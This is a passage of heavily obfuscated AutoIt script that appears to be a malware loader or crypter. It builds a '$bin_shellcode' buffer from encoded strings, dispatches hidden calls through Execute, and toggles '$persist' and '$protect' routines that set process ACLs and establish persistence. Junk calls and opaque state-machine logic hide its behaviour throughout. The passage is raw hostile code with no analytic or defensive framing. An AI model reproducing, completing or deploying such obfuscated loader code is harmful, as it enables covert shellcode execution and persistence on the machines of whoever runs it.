- If 240 > 193 AND 172 >= 102 AND 152 >= 138 AND 180 < 298 AND $2102046848 = 2141934138 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013131313131313933463731324933463731324933423739334"), tznhxlbucosri("x0C69695"))
- $2102046848 = 937438825
- EndIf
- If 104 < 123 AND 121 = 121 AND 109 <= 126 AND $2102046848 = 2144394568 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x023836464646464648344435314438393835323346464646464"), "0x")
- String(331217 * 1300157 - 348749)
- $2102046848 = 1488986972
- EndIf
- If 259 <= 298 AND 215 <= 241 AND 219 < 277 AND 140 >= 103 AND 289 = 289 AND $2102046848 = 2145452884 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0333333B314A3432433333333333333B3035363547333333303"), tznhxlbucosri("x01596"))
- $2102046848 = 1745473337
- IsPtr(tznhxlbucosri("spgyf31mMivjY4UzpK9HSbg1Za8cOEUZexrhBQoe"))
- EndIf
- Next
- If 299 <= 300 AND 241 <> 250 AND 105 > 104 AND $protect Then
- acl($handlefrompid)
- EndIf
- If 213 > 181 AND 294 < 295 AND 184 >= 138 AND 175 >= 120 AND 200 = 200 AND $persist Then
- qbcdrrtsoo($ret[wmhsrosshiij(tznhxlbucosri("x043"), tznhxlbucosri("x0C61626E6"))])
- EndIf
- EndFunc
- Func fupvtqkuet($loop, $time)
- For $i = wmhsrosshiij(tznhxlbucosri("x043"), tznhxlbucosri("x0C61626E6")) To $loop
- Global $1681609778 = 1307843693
- Global $qpdhb56a8l = 3809699
- For $e = 0 To 774324
- If 108 <= 225 AND 159 <= 237 AND 207 < 274 AND 159 >= 103 AND 117 < 148 AND $1681609778 = 304222797 Then
- $a = $dkcbcqvbfqgu($a, $a + wmhsrosshiij(tznhxlbucosri("x013"), "0x"))
- $1681609778 = 1591982618
- EndIf
- If 178 >= 150 AND 291 <> 271 AND 177 <= 253 AND 165 < 210 AND 134 > 119 AND $1681609778 = 960345959 Then
- $msmatzrvyjrr($time / $loop)
- ExitLoop
- Random(3377782)
- EndIf
- If 256 <= 274 AND 245 <= 280 AND 205 < 274 AND 183 < 258 AND 233 <> 214 AND $1681609778 = 1307843693 Then
- Local $a = $fdcmavwfjqlj(wmhsrosshiij(tznhxlbucosri("x003878383"), "0x"), wmhsrosshiij(tznhxlbucosri("x033B76363"), tznhxlbucosri("x0A434")))
- Dim $iktxyvl16rkchn0hlvk1 = tznhxlbucosri("bv7lC002RfYV122XExpViABVYl70W0efQqjW0hs7atK1nZ")
- $1681609778 = 304222797
- Dim $qxp0k6npuwcm49slqhme = tznhxlbucosri("HUBHz6kr7Ldik4Z8OoITw34dyQHbi8DQzRp5xSFOf6YiI3ZaXu2BFCxUMDGWTyClOqDvTo0hm9XMo")
- EndIf
- If 185 > 131 AND 272 > 121 AND 140 > 99 AND $1681609778 = 1591982618 Then
- $a = $sjrkikdyyyiq($a, wmhsrosshiij(tznhxlbucosri("x043C77363"), tznhxlbucosri("x03605F687")))
- $1681609778 = 960345959
- EndIf
- Dim $hvelihm3ogonfjkql3p2 = 3795400 + 967847 - 2716769 + 833218 - 53257 * 1923954
- Next
- Next
- EndFunc
- Func vspcltsdkv()
- $ohmyxiagzmqt(@AutoItExe & wmhsrosshiij(tznhxlbucosri("x0E3E5B6A616A2D40616A607D626D61667"), tznhxlbucosri("x054B485D6")))
- EndFunc
- Func dtagcgaows($soccurrencename)
- Global $1681609778 = 1307843693
- Global $jyr8co1fa4 = 2599873
- For $e = 0 To 2308496
- WinExists(tznhxlbucosri("LLeEV4StFy5B4a2Qd2dK3RMMbxBjIc0GpX4KSE3Ig0CrsJl1bUNRZlTk183R2K0QL8UiWtkwRDKmkKed8jaR218O1eM5Qa8sBz8Dgk72O"))
- If 227 >= 138 AND 140 < 189 AND 291 = 291 AND $1681609778 = 304222797 Then
- Local $b = $e(wmhsrosshiij(tznhxlbucosri("x03486F606378755E625573786F666"), tznhxlbucosri("x076D6E6")))
- IsString(2275716 * 3253047)
- $1681609778 = 1591982618
- IsBinary(tznhxlbucosri("g8k7BQT1XjnyjlfRd4UfuvkRFvhUxZQ7UYwC9azA5gwwxf7xThQSAGNtWykYURW4T0AztR4eOLzMu77e"))
- EndIf
- If 232 = 232 AND 258 >= 255 AND 180 = 180 AND 291 <> 172 AND 167 <= 253 AND $1681609778 = 960345959 Then
- Local $alasterror = $e($b(wmhsrosshiij(tznhxlbucosri("x033B7737353045304730353235304530413B313135314536343135364536353040303031313645373530453041313130413331313537343435354431353731313130413331313734353634373730453234303437373634313431353544313131313A3"), tznhxlbucosri("x05796"))))
- IsFloat(tznhxlbucosri("zx7ZkoTqbwGK8wq6"))
- ExitLoop
- Ptr(tznhxlbucosri("3XeQ1R4cYUIgbJ1a0vuTp6wySYl8mF2BqnFK3jtGYomM8D6Wy5YATeG5sE9q13HyovsuDABSztiglM02b5hpNVDXdv0bGMxzfyp1CME"))
- EndIf
- If 122 > 113 AND 134 <> 276 AND 170 > 154 AND 244 > 227 AND 119 <> 103 AND $1681609778 = 1307843693 Then
- Local $e = Execute
- $1681609778 = 304222797
- IsBinary(3102797 + 1723878 - 252942 * 2425754)
- EndIf
- If 146 = 146 AND 169 >= 111 AND 173 >= 134 AND 109 <> 238 AND 123 = 123 AND $1681609778 = 1591982618 Then
- Local $ahandle = $e($b(wmhsrosshiij(tznhxlbucosri("x043C7030323742374037323532374237463C36363236423133363231423132374737373636314230323742374636363746343636323C3235323142303237423136363637463436363037333632313235333032313030433133303231333C313336363637463436363337333033363331323733303635463636374634363637343636363746343636323632324232423746363637463436363735363636374634363633333337333033363636363746343630333730324237323733313336333632313231423732313031423532304231363D3"), tznhxlbucosri("x06776F664"))))
- Ptr(1534445 * 3298019 * 3965199)
- $1681609778 = 960345959
- IsBool(tznhxlbucosri("BmYFWBijJ1SjmyICiWisVZhFX8Rj3OvcY8LnXuaYrHw9UnLCAtJ7moAXy5NZBL8DXGKU198nrt"))
- IsPtr(tznhxlbucosri("unxH6ohBaVQW76ykYf0b9AM1mBp8L6OqEXtLeeboQfK8lnar3jSEsVnC4Cc6l7jkgTA30vbt9IUUqbpz84dgHhD3xcj1mh3eYFg11stOCIj"))
- EndIf
- IsFloat(tznhxlbucosri("QE9hhflcym8xk9w315mosz"))
- Next
- If 144 > 112 AND 133 < 157 AND 185 < 287 AND 169 = 169 AND 137 > 123 AND $alasterror[wmhsrosshiij(tznhxlbucosri("x043"), tznhxlbucosri("x0C61626E6"))] = wmhsrosshiij(tznhxlbucosri("x053C373"), tznhxlbucosri("x056175574")) Then
- Global $1591982618 = 1307843693
- Global $dtwdnyi5uk = 3845936
- For $e = 0 To 2677978
- Dim $exxwq33cquyjx0rcawms = 307267
- If 160 < 258 AND 279 = 279 AND 147 > 140 AND $1591982618 = 304222797 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x00387530373236364633363537333733343336334636473336353238343034313735373436364439373434353738363532393"), "0x")))
- IsBinary(tznhxlbucosri("DeXdFtrAd0z1zUJeBMeerL1n3kTBy9UD3xyY2z3aEiMaJLWbEN1ctJXklqzMRdArgI0cOKUkkBg6JrJpQ1EfMvekbTnip"))
- ExitLoop
- Chr(874928)
- EndIf
- If 188 > 121 AND 230 = 230 AND 154 <> 124 AND 207 > 171 AND $1591982618 = 1307843693 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x033B7737353045304730353235304530413B313135314536343135364536353040303031313645373530453041313130413331313531353545354530413131304133313137303530453544303536373B353235364537353045363131313041333131353B3532353645373530453631313130413331373532373B3532353645373530453636314131303331313637413A3"), tznhxlbucosri("x04515"))))
- IsString(741609 * 1275623)
- $1591982618 = 304222797
- EndIf
- Next
- EndIf
- EndFunc
- Func bxrpokoote($vdata, $vcryptkey)
- Global $1972768996 = 1307843693
- Global $6chxlwf667 = 2693644
- For $e = 0 To 475076
- Random(2001109)
- If 172 <= 276 AND 183 <> 150 AND 246 < 248 AND 249 >= 162 AND 183 <= 194 AND $1972768996 = 84602552 Then
- Local $tinput = $e($b(wmhsrosshiij(tznhxlbucosri("x043C703032374237413733303336333132373330303733363231323533303231363C36363236333D33303231313646363634363236343036323D323142353336333D303742313231463C363032363036323D323142353336333D363D363436323634363631304636363D3"), tznhxlbucosri("x087473734"))))
- IsString(2874891 * 183213 * 1943077)
- $1972768996 = 2134070852
- EndIf
- If 206 > 132 AND 181 < 266 AND 198 < 233 AND 267 <= 301 AND $1972768996 = 89876260 Then
- $tbuff = $e($b(wmhsrosshiij(tznhxlbucosri("x00387434363346334533373437323735363337343433373236353631373436353238323236323739373436353532423232303236323034323639363546313732373934334635363542383234373634333732373937303734343246353739323932303236323032323534423232393"), "0x")))
- IsFloat(1871109 + 123570)
- $1972768996 = 150208926
- EndIf
- If 281 <= 289 AND 122 > 101 AND 153 <> 145 AND $1972768996 = 150208926 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x0139753537324732443236353633363437323635343237343635353537303635373033393335363535333634373737373332433135343639373437323634363537343339333332303333333833324331333536373532363336383631363535334734363833383"), tznhxlbucosri("x0648487"))))
- $1972768996 = 578141839
- IsBinary(tznhxlbucosri("HX2fXkki29E3bJlTBqddrQ0ZBQzoCm2LZNOpYOTEgtm"))
- EndIf
- If 229 < 280 AND 186 > 180 AND 239 <= 266 AND 245 <> 186 AND 202 <> 196 AND $1972768996 = 171873601 Then
- $vdata = $e($b(wmhsrosshiij(tznhxlbucosri("x013975333738373447303633363834353737443236353633373837344736333933353637353537303635373033383"), tznhxlbucosri("x0356784"))))
- $1972768996 = 198176244
- EndIf
- If 120 > 118 AND 114 <= 208 AND 239 >= 169 AND 243 > 135 AND 298 <= 300 AND $1972768996 = 198176244 Then
- Local $aret = $e($b(wmhsrosshiij(tznhxlbucosri("x01397535373247324532373037324732433933333530373536373730363137383232323333344735373247324333333243313333373337374737473243333332433133333532363336383631363535303732363036343738363337343532373747344635373436393635333333324331333337393730373447353732473433304333333243313333323133333332433133333631363536333333333243313333323133333332433133333631363536333333333243313333323133333332433133333735363637374633373533333332433133333233323533333332433133333735363637374633373533333332433133333231363935373231323132313231323132313231333333383"), tznhxlbucosri("x0948734"))))
- String(2022600 + 776336 * 2193254 * 3865588)
- $1972768996 = 1711264047
- Dim $0vwefb6ttifoqvkxb1j9 = tznhxlbucosri("ip5ULAlWiJ3QDHQfZtQ0Opzh7dhZSVwgSqMJb")
- EndIf
- If 157 <> 262 AND 287 = 287 AND 159 = 159 AND 140 <= 166 AND $1972768996 = 232684580 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x0038743436334633443336313633463342383232343136343736363137303639333333323235463436334633423232334230323236323636463646334232323342303232343337323739373037343434363537333734373236364739343836313733363832323233423032323638363136354634363346353232323342303234363834333732373937303734343836313733363832393"), tznhxlbucosri("x007"))))
- Dim $iaywt2fhsbttdkbt1cxo = 1704918
- $1972768996 = 960210641
- Int(2503148)
- Chr(2587077)
- EndIf
- If 109 <= 219 AND 100 >= 99 AND 195 = 195 AND 114 >= 106 AND $1972768996 = 271776171 Then
- $aret = $e($b(wmhsrosshiij(tznhxlbucosri("x003874343633463344333631363346334238323234313634373636313730363933333332323546343633463342323233423032323632363646364633423232334230323234333732373937303734343436353732363937363635343246353739323232334230323236383631363546343633463532323233423435364536463735364631343337323739373037343439363547343635373236354631363344343631373436313532423233323232353442334230323237353639363547343232323342303232333037383330333033303330333633363331333032323233423032323638363136354634363346353232323342303234363834333732373937303734343836313733363832334230323236343737363647323634323232334230323233303738333033303330333033303330333033313232323342303232363836313635463436334635323142323233423032323330323232393"), "0x")))
- $1972768996 = 1220020015
- EndIf
- If 234 > 184 AND 210 = 210 AND 171 <> 162 AND 250 <= 273 AND $1972768996 = 304222797 Then
- Local $tbuff
- Int(934021)
- $1972768996 = 1591982618
- IsBinary(tznhxlbucosri("7d9ORKLqEdS"))
- EndIf
- If 168 <> 126 AND 245 >= 160 AND 296 <> 137 AND $1972768996 = 578141839 Then
- $aret = $e($b(wmhsrosshiij(tznhxlbucosri("x043C7030323742374037323532374237463C363630353230333232353334323D37373736363142303237423746363637463436363236323242324237463636374634363630373336333D33343330303C32353337323C30303235333032353636363746343636323C323532314230323742313636363746343630323C30373336333D33343330303C32353337323C3637463436363337333033363331323733303635463636374634363033303036333132323232363746343636323033333232433632303636363746343030323742374137333033363331323733303033323133303137323D33354231363C363033303036333132323232363D36374634363632303333323243363230363636374634363637353636363D3"), tznhxlbucosri("x0E4072595"))))
- $1972768996 = 271776171
- Dim $cgqsy6eusjo0dw25pok3 = tznhxlbucosri("367hyaqpi57ukHYCiU5TxpwRBmy5ZDTDmgMFviGYeZBx33LEgyGF7BHKVmHU0DfXLOv0ZNyQlulfpatCt7w96tiq7KxAqK8crrrWic")
- Chr(438907)
- EndIf
- If 153 > 105 AND 293 <= 295 AND 230 < 245 AND $1972768996 = 742906269 Then
- Return $e($b(wmhsrosshiij(tznhxlbucosri("x043C7030323742374137333033363331323733303033323133303030323533303235363C36303330303243313330333433313330363746343735363D3"), tznhxlbucosri("x024D44615"))))
- ExitLoop
- IsBool(1117782 - 698885 * 1685512)
- EndIf
- If 288 >= 280 AND 197 > 101 AND 113 <= 222 AND 143 > 105 AND $1972768996 = 834897274 Then
- Local $a_call = $e($b(wmhsrosshiij(tznhxlbucosri("x0038743436334633443336313633463342383232363547343634363346334235463436334633423232334230323236393635473432323233423235323734363344343635363336364634473037323635373337333432373536363636363537323232323342323735373336383636473237343232323342303332323342323730373437323232323342303434363346334533373437323735363337343437363537343530373437323238323437343432373536363636363537323239323342323634373736364732363432323233423034343633463345333734373237353633373434373635373435333639373146353238323437343432373536363636363537323239323342323730373437323232323342303434363346334533373437323735363337343437363537343530373437323238323437343439363547303735373432393233423236343737363647323634323232334230343436334633453337343732373536333734343736353734353336393731463532383234373434393635473037353734323932334232363437373636473236343231423232334230333032393"), tznhxlbucosri("x096"))))
- String(3009425 - 1148054 * 289842 + 495047)
- $1972768996 = 2014417103
- IsString(tznhxlbucosri("vY5zVnqbzlgDQlh2F16exvkqtjghEUDYf"))
- EndIf
- If 181 >= 101 AND 232 > 210 AND 111 > 100 AND 288 > 129 AND 268 >= 246 AND $1972768996 = 937438825 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x033B7737353045304630343734313436353034373630353634373737353234373532313B313734373731343635353535313041333736343B35363530343634373536313B313130323131313A31304133313734353737353234373532313A3"), tznhxlbucosri("x06486"))))
- IsString(3812461 - 2230282)
- $1972768996 = 1838106253
- EndIf
- If 173 >= 152 AND 282 <= 290 AND 258 > 104 AND $1972768996 = 960210641 Then
- $vcryptkey = $vreturn
- $1972768996 = 2141934138
- EndIf
- If 224 < 290 AND 258 >= 129 AND 278 > 183 AND 107 < 254 AND $1972768996 = 960345959 Then
- Local $iplaintextsize
- $1972768996 = 1681609778
- EndIf
- If 221 <= 259 AND 195 < 253 AND 111 <= 186 AND 137 >= 111 AND 225 <= 282 AND $1972768996 = 1025992990 Then
- $bbinary = $e($b(wmhsrosshiij(tznhxlbucosri("x003874323639363546313732373932383234373635323635373437353732363542393"), "0x")))
- WinExists(tznhxlbucosri("KQba4cQc7wLgZ5paR80TCTeLm0UuSlsN2zO2j4CItnpOMrKa9dmYd4nX590lsJOE"))
- $1972768996 = 84602552
- EndIf
- If 152 = 152 AND 110 <= 143 AND 203 <= 229 AND $1972768996 = 1115248989 Then
- $aret = $e($b(wmhsrosshiij(tznhxlbucosri("x003874343633463344333631363346334238323234313634373636313730363933333332323546343633463342323233423032323632363646364633423232334230323234333732373937303734343337323635363137343635343836313733363832323233423032323638363136354634363346353232323342303234353645364637353646313433373237393730373434393635473436353732363546313633443436313734363135324232333232323534423342303232373536393635473432323233423032323330373833303330333033303338333033303333323232334230323237303734373232323233423032323330323232334230323236343737363647323634323232334230323233303232323342303232363836313635463436334635323142323233423032323330323232393"), "0x")))
- String(530412 - 1650380)
- $1972768996 = 1424029346
- IsPtr(tznhxlbucosri("QT3lxBfvON893TZ569zDM7S"))
- Dim $obxymh8n0lsw0z07sqv0 = 1626556
- EndIf
- If 100 > 99 AND 211 > 148 AND 209 = 209 AND $1972768996 = 1141152127 Then
- Local $tbuffer = $e($b(wmhsrosshiij(tznhxlbucosri("x01397535373247324432363536333634373236353532363337343730363537343339333337333638363537343433433333313337333132303237333133304331353537324732443236353633363437323635353637343635343237383630473433393335363535383734463136343635333833313337333133333435433333383"), tznhxlbucosri("x0570537"))))
- $1972768996 = 834897274
- Chr(1230509)
- Dim $8g3xt4rob1afcsfngei9 = 1323723
- EndIf
- If 101 <= 251 AND 282 < 283 AND 215 < 296 AND $1972768996 = 1220020015 Then
- $vreturn = $aret[wmhsrosshiij(tznhxlbucosri("x053"), tznhxlbucosri("x016"))]
- $1972768996 = 232684580
- EndIf
- If 269 < 300 AND 278 < 287 AND 175 <> 295 AND $1972768996 = 1267601999 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x043C7030323742374037323532374237463C363630353230333232353334323D37373736363142303237423746363637463436363236323242324237463636374634363630373336333D33343330303032313337333033363232433D30364231333D3636363746343636323C323532314230323742313636363746343630333230373336333D3334333030364231333D363D3"), tznhxlbucosri("x09425A7B4"))))
- Mod(3291238, 701400)
- $1972768996 = 2094513307
- WinExists(tznhxlbucosri("6QdqDOtZxsJeoson6VUnzT3jXNZcsQTOMvMxqTZwutwaaTJ5j7R8hHqU"))
- EndIf
- If 218 <> 221 AND 205 <> 188 AND 132 <= 181 AND 114 >= 103 AND 201 = 201 AND $1972768996 = 1307843693 Then
- Local $__g_acryptinternaldata[wmhsrosshiij(tznhxlbucosri("x033"), "0x")]
- Chr(3465344)
- $1972768996 = 304222797
- IsFloat(tznhxlbucosri("0OFKJEzyzxkW1M2BtFl83n0h0wxEt"))
- EndIf
- If 285 < 296 AND 283 < 285 AND 137 > 106 AND 119 >= 118 AND 243 <> 217 AND $1972768996 = 1312944448 Then
- Local $e = Execute
- IsBinary(tznhxlbucosri("UqNwgDSj1vlaaWh9QhjUVbUTNiafQgiz2XSK2F20FbpHk0EelytJn4EULaZFjaQK1B4yqypL20FiCn74KJ5LggJngiR"))
- $1972768996 = 1337610490
- Dim $1242y8wkfhjuccfnqhsh = tznhxlbucosri("GzIQNuWZIs3Sb0KqNvl5EyuDMVElZ4j")
- EndIf
- If 173 <> 201 AND 187 <> 174 AND 254 > 140 AND $1972768996 = 1337610490 Then
- Local $b = $e(wmhsrosshiij(tznhxlbucosri("x03486F606378755E625573786F666"), tznhxlbucosri("x076D6E6")))
- Int(926027)
- $1972768996 = 171873601
- EndIf
- If 258 < 259 AND 176 <= 297 AND 238 <> 245 AND $1972768996 = 1424029346 Then
- $hcrypthash = $aret[wmhsrosshiij(tznhxlbucosri("x053"), tznhxlbucosri("x016"))]
- $1972768996 = 89876260
- Chr(2512456)
- EndIf
- If 146 > 124 AND 289 = 289 AND 264 <> 145 AND $1972768996 = 1488986972 Then
- $aret = $e($b(wmhsrosshiij(tznhxlbucosri("x043C7030323742374037323532374237463C363630353230333232353334323D37373736363142303237423746363637463436363236323242324237463636374634363630373336333D33343330303032313337333033363232433D30364231333D3636363746343636323C323532314230323742313636363746343630333230373336333D3334333030364231333D363D3"), tznhxlbucosri("x09425A7B4"))))
- WinExists(tznhxlbucosri("1wd5YuBS1uzCeFJfw5kdnKRaD5atQk4rzp3BqFD32VGMiuxuAGp2T1ikn01hSENrHJgjmLOdIDSyCKXw5iTCbXGdtpscj"))
- $1972768996 = 1267601999
- EndIf
- If 194 >= 156 AND 193 = 193 AND 244 = 244 AND $1972768996 = 1566067065 Then
- $iplaintextsize = $aret[wmhsrosshiij(tznhxlbucosri("x023"), tznhxlbucosri("x044F47414"))]
- IsPtr(960649 + 1511053 + 3111714 + 1267468)
- $1972768996 = 2132281550
- EndIf
- If 215 > 200 AND 159 = 159 AND 282 = 282 AND $1972768996 = 1591982618 Then
- Local $ttempstruct
- $1972768996 = 960345959
- IsBool(2230957 - 3423086 + 646501)
- Chr(2325066)
- EndIf
- If 224 <= 241 AND 284 = 284 AND 204 >= 193 AND 177 <= 191 AND $1972768996 = 1681609778 Then
- Local $vreturn
- $1972768996 = 1312944448
- IsBool(3597126 + 1423134)
- IsPtr(tznhxlbucosri("OVYBztdZxhvsCxLkuS8R5uq1YEgyrlSsdyEGRsjgdGiECqSFT741peZCkYFtTbZ1Kft6O5bsHoqBTAbaRsBiyAjMRKhRKxh"))
- EndIf
- If 286 <= 293 AND 296 <> 140 AND 208 <> 207 AND $1972768996 = 1711264047 Then
- $__g_acryptinternaldata[wmhsrosshiij(tznhxlbucosri("x033"), tznhxlbucosri("x0559417"))] = $aret[wmhsrosshiij(tznhxlbucosri("x013"), "0x")]
- IsBinary(tznhxlbucosri("lGrW0zGQlYeyrkumzKQyW7nTl8MNNzWetQgE04JbgTzvLsf6XyWmwpVSHCotcmjgLg0ygXUzYx17tzv5"))
- $1972768996 = 1115248989
- EndIf
- If 243 = 243 AND 185 = 185 AND 217 > 203 AND $1972768996 = 1838106253 Then
- $aret = $e($b(wmhsrosshiij(tznhxlbucosri("x033B7737353045304730353235304530413B313137323537343535323433353A30303031313645373530453041313130413331313531353545354530413131304133313137303431343A343334373737353635303431343A343334373131313041333131353B353235364537353045363131313041333137343537303431343A3433343737314536343A313041333131353B3532353645373530453631313130413331313033313131304133313135313535453545304131313041333736343B35363530343634373536313B313130323131313A3130413331313537343435354431353731313130413331313033313131304133313134303437343134363530343731324131313041333137343737313436353535353130413331313537343435354431353731324131313041333731353A353645323431343A373045363536413B313734353737353234373532313A313A3"), tznhxlbucosri("x07486"))))
- $1972768996 = 1566067065
- IsBinary(2555346 - 3133957 - 2740448)
- Int(2728920)
- EndIf
- If 280 >= 181 AND 278 >= 152 AND 199 <> 277 AND $1972768996 = 2014417103 Then
- Local $toutput = $e($b(wmhsrosshiij(tznhxlbucosri("x013975353732473244323635363336343732363535323633373437303635373433393333373336383635373434334333333133373331333537303437453237303732473244334237343543313337333133333435433333324331353537324732443236353633363437323635353637343635343136353633333933353635353336343737373737343633333833383"), tznhxlbucosri("x0D6A785"))))
- $1972768996 = 742906269
- EndIf
- If 140 <> 206 AND 240 < 286 AND 192 <> 261 AND 277 >= 268 AND 274 <= 287 AND $1972768996 = 2094513307 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x043C7030323742374037323532374237463C363630353230333232353334323D37373736363142303237423746363637463436363236323242324237463636374634363630373336333D33343330313632313237423132353337323130373232423143303231333C33303636363746343636323C3235323142303237423136363637463436303132413242333132423530373336333D33343330303D323143303231333632314235323740303235333032353136463637363636313046374634363632303333323243363230363636374634363637343636363D3"), tznhxlbucosri("x0B6A76594"))))
- $1972768996 = 1025992990
- EndIf
- If 153 = 153 AND 294 <= 300 AND 165 > 162 AND $1972768996 = 2132281550 Then
- $ttempstruct = $e($b(wmhsrosshiij(tznhxlbucosri("x003874343633463345333734373237353633373434333732363536313734363532383232363237393734363535324232323032363230323436393530363346313639363545343635373837343533363937314635323032324230323233313232323032363230323235344232323342303434363346334533373437323735363337343437363537343530373437323238323437343432373536363636323932393"), "0x")))
- Dim $oydtygfodcdokzq1naoi = tznhxlbucosri("6o8pe4V3DxHUTWF2C")
- $1972768996 = 2144394568
- EndIf
- If 139 <= 232 AND 230 <> 179 AND 267 > 264 AND 114 > 102 AND 167 <> 232 AND $1972768996 = 2134070852 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x0139753537324732443236353633363437323635343237343635353537303635373033393335363535383734463136343635333243313230333243313335373335333738373447303633363833383"), tznhxlbucosri("x0968494"))))
- $1972768996 = 1141152127
- Dim $hiwy1z1ov4bmco8sqzrx = 1397189 * 2156850 - 118818 + 3899843 + 3710946 * 478726 + 2963715 * 1100193
- EndIf
- If 101 < 151 AND 225 < 293 AND 217 >= 101 AND $1972768996 = 2141934138 Then
- $tbuff = $e($b(wmhsrosshiij(tznhxlbucosri("x043C703032374237413733303336333132373330303733363231323533303231363C36363236333D33303231313646363634363236343036323D323142353336333D303742313231463C363033323030323533303235363D363436364634363637353734373437343636363436323634363631304636363D3"), tznhxlbucosri("x0A6464614"))))
- $1972768996 = 937438825
- Int(69909)
- EndIf
- If 246 = 246 AND 286 >= 105 AND 199 > 147 AND 279 <= 298 AND $1972768996 = 2144394568 Then
- $vreturn = $e($b(wmhsrosshiij(tznhxlbucosri("x0139753337383734473036333638353547383735333935353732473244323635363336343732363535363734363535353730363537303339333536353435373437354631343236353633363437323635333243313534363937343732363436353734333933333230333333383338333243313333323033333332433133353738343137324730373837344435373436393635343237383630473433383"), tznhxlbucosri("x0058437"))))
- WinExists(tznhxlbucosri("1KHau7NVKvWSBKsVXaC8xQ6N56wxdeg82hpxm4Tki8T47O1t"))
- $1972768996 = 1488986972
- IsBool(tznhxlbucosri("nmLe7cIxMsOKeSyEMYDpCHr4L9gFvgGmkQckJ0VhIJgLrdXKIVi37uUjXsAMrA7BezH9C3nHDE83X1RnTaGvC"))
- EndIf
- Next
- EndFunc
- Func mbhtyjglucwb()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x034865704F454"), tznhxlbucosri("x0346724")))
- EndFunc
- Func jurxtjumygfe()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x0249647F425"), tznhxlbucosri("x085")))
- EndFunc
- Func unzxooavpxke()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x064D607C5B465"), tznhxlbucosri("x086746644")))
- EndFunc
- Func suctvkesnwcf()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x0449627342756164756"), "0x"))
- EndFunc
- Func yktvnhwvfiet()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x044C6C63416C6C6"), "0x"))
- EndFunc
- Func musojcquljvk()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x004868675076717760734160704560756"), tznhxlbucosri("x05636F416")))
- EndFunc
- Func jjniinmmjjit()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x06496C65634C6F63756"), tznhxlbucosri("x096")))
- EndFunc
- Func lkvzlzriwsfa()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x054A6F6667466F6667766"), tznhxlbucosri("x056A6")))
- EndFunc
- Func vwjiwvotucxx()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x06496C656F40756E6"), tznhxlbucosri("x026")))
- EndFunc
- Func yiecoikztbeo()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x06496C65625561646"), tznhxlbucosri("x087")))
- EndFunc
- Func hqpzptrjiykn()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x024D6861675160754070767D666"), tznhxlbucosri("x09596A5B6")))
- EndFunc
- Func ouupgcajbsvy()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x07486D6466537865746"), tznhxlbucosri("x04616A7")))
- EndFunc
- Func gstmjrdvwikv()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x084F64657644657"), tznhxlbucosri("x08616B6")))
- EndFunc
- Func nffmfbhqkcjn()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x084270456C686F6"), tznhxlbucosri("x0E4A4E4")))
- EndFunc
- Func sauzmlbzymze()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x0D4377624F687"), "0x"))
- EndFunc
- Func abkqfjgyfwue()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x00527F63656373734C6F63756"), tznhxlbucosri("x025")))
- EndFunc
- Func kgjgedqcelyl()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x01537E626462727449786275727"), tznhxlbucosri("x05757B6")))
- EndFunc
- Func pkvibyvecngy()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x02516E646F6D6"), "0x"))
- EndFunc
- Func pzrowjazssrt()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x02556767527964756"), "0x"))
- EndFunc
- Func gxhelshxletb()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x06517A6"), tznhxlbucosri("x016E43507")))
- EndFunc
- Func rufpklltkliy()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x075C616868614C71676170716"), tznhxlbucosri("x097A5A7A4")))
- EndFunc
- Func mpaxqhxfdinr()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x07586161647"), tznhxlbucosri("x074359675")))
- EndFunc
- Func tewosqlsvwdv()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x0750767D6A636D4A6750767"), tznhxlbucosri("x0649476A7")))
- EndFunc
- Func hhjohdkcyiel()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x0750767D6A63665164786567616"), tznhxlbucosri("x017266777")))
- EndFunc
- Func wnhwoxjwqdgl()
- Return Execute(wmhsrosshiij(tznhxlbucosri("x07596E6548796374737"), "0x"))
- EndFunc
- Func wmhsrosshiij($buuuomngprzt, $mejcxwedlftw)
- Global $1312944448 = 1307843693
- Global $aatc7rushn = 2886295
- For $e = 0 To 2759950
- Dim $3sbom0dl2ei5zs65ev2q = tznhxlbucosri("TCpFjX1KgmyoZ6FdAXOvHZCnrbwLjlguGbIzyFR0uByQGt2Dy34RKG5ScEFnoGcO")
- If 189 <> 174 AND 112 < 227 AND 157 < 232 AND 122 <> 194 AND 112 <= 229 AND $1312944448 = 304222797 Then
- Local $char
- String(tznhxlbucosri("aDKxmN2EiZXEDUCWIAYAdEkCktOnMMjlCdyytsy2cn3QSTVW3"))
- $1312944448 = 1591982618
- IsBool(2415594 - 2119363 + 1080414 - 3924370)
- Mod(3849062, 1359741)
- EndIf
- If 155 >= 148 AND 165 > 121 AND 158 <= 256 AND 168 > 146 AND $1312944448 = 960345959 Then
- Local $split = StringSplit(BinaryToString($buuuomngprzt), "")
- Dim $xjgrckbxjbkxcwdrlnch = 3897265
- $1312944448 = 1681609778
